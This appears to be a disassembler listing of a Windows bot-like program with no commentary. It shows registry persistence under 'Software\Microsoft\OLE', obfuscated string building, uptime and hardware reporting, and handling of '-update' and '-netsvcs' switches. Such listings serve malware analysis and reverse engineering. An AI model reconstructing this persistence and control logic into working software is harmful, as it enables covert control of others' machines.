		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 29D0000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0FE81D00h, 8DFFFFB7h
		dd 0E844244Ch, 0FFFFB904h, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC121h, 0B025E850h, 6A900246h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE54E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 71E82300h, 50FFFFBCh, 48244C8Dh, 0FFBC67E8h,	4C8D50FFh
		dd 84684C24h, 51004436h, 0FFB4A0E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB686h, 44244C8Dh, 0FFBAD8E8h
		dd 0E89050FFh, 246ADE6h, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBC1FE8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBDCCE8h, 28C483FFh, 84C6C88Bh, 17424h, 0E9E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 13E80000h, 8BFFFFB6h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD77E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB94h, 0B9A4E850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB5BDE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFE1h, 0AEE5E850h, 6A900246h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0EE85109h, 83FFFFBDh, 0C88B38C4h,	742484C6h
		dd 26000001h, 0FFBB2BE8h, 4C8D50FFh, 21E84824h,	50FFFFBBh
		dd 4C24548Dh, 44368468h, 5AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B540E800h, 4C8DFFFFh, 92E84424h
		dd 50FFFFB9h, 0ACA0E890h, 448D0246h, 4C8D1024h,	68507824h
		dd 0F003Fh, 0D9E8006Ah,	50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC84E8h, 2CC483FFh, 84C6C88Bh, 17424h, 0A1E82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 0CBE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BC33E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA50h, 0B860E850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB479E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE9Dh, 0ADA1E850h, 6A900246h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 0CEE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9EBE8h
		dd 4C8D50FFh, 0E1E84824h, 50FFFFB9h, 4C24448Dh,	44368468h
		dd 1AE85000h, 83FFFFB2h, 4C8D10C4h, 9C881424h, 17424h
		dd 0B400E800h, 4C8DFFFFh, 52E84424h, 50FFFFB8h,	0AB60E890h
		dd 4C8D0246h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B996E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBB39h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B956E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B380E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0E6E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB903E8h, 13E850FFh, 83FFFFB7h,	4C8D04C4h
		dd 9C881424h, 17424h, 0B32CE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD50E8h,	54E850FFh, 900246ACh, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA7FE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB89Ch, 244C8D50h, 0B892E848h, 8D50FFFFh, 684C244Ch
		dd 443684h, 0B0CBE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB2B1E8h, 244C8DFFh,	0B703E844h, 0E850FFFFh
		dd 246AA12h, 24548D90h,	244C8D10h, 3F685278h, 6A000F00h
		dd 0B84AE800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9F9h
		dd 8B24C483h, 2484C6C8h, 174h, 0B816E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B240E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 0A6E85014h,	83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB7C3E8h, 0D3E850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B1ECE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBC10E8h, 0E89050FFh
		dd 246AB13h, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B93FE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB75Ch, 244C8D50h
		dd 0B752E848h, 6850FFFFh, 443684h, 5024548Dh, 0AF8BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB171E8h
		dd 244C8DFFh, 0B5C3E844h, 0E850FFFFh, 246A8D2h,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B70AE800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB8B4E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 0D1E83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0F8E800h, 448BFFFFh
		dd 0FF501024h, 4358BD7h, 680050FBh, 443668h, 4C68D6FFh
		dd 0FF004436h, 362C68D6h, 0D6FF0044h, 44360868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 0BBE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 0A7E8FFFFh, 0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		nop
		call	near ptr 2870914h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F30
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 2870914h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		call	near ptr 28C0000h
		nop
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 28B0000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	sub_69BB85
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 28A0000h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 29C0000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_43689A
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_43689A
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
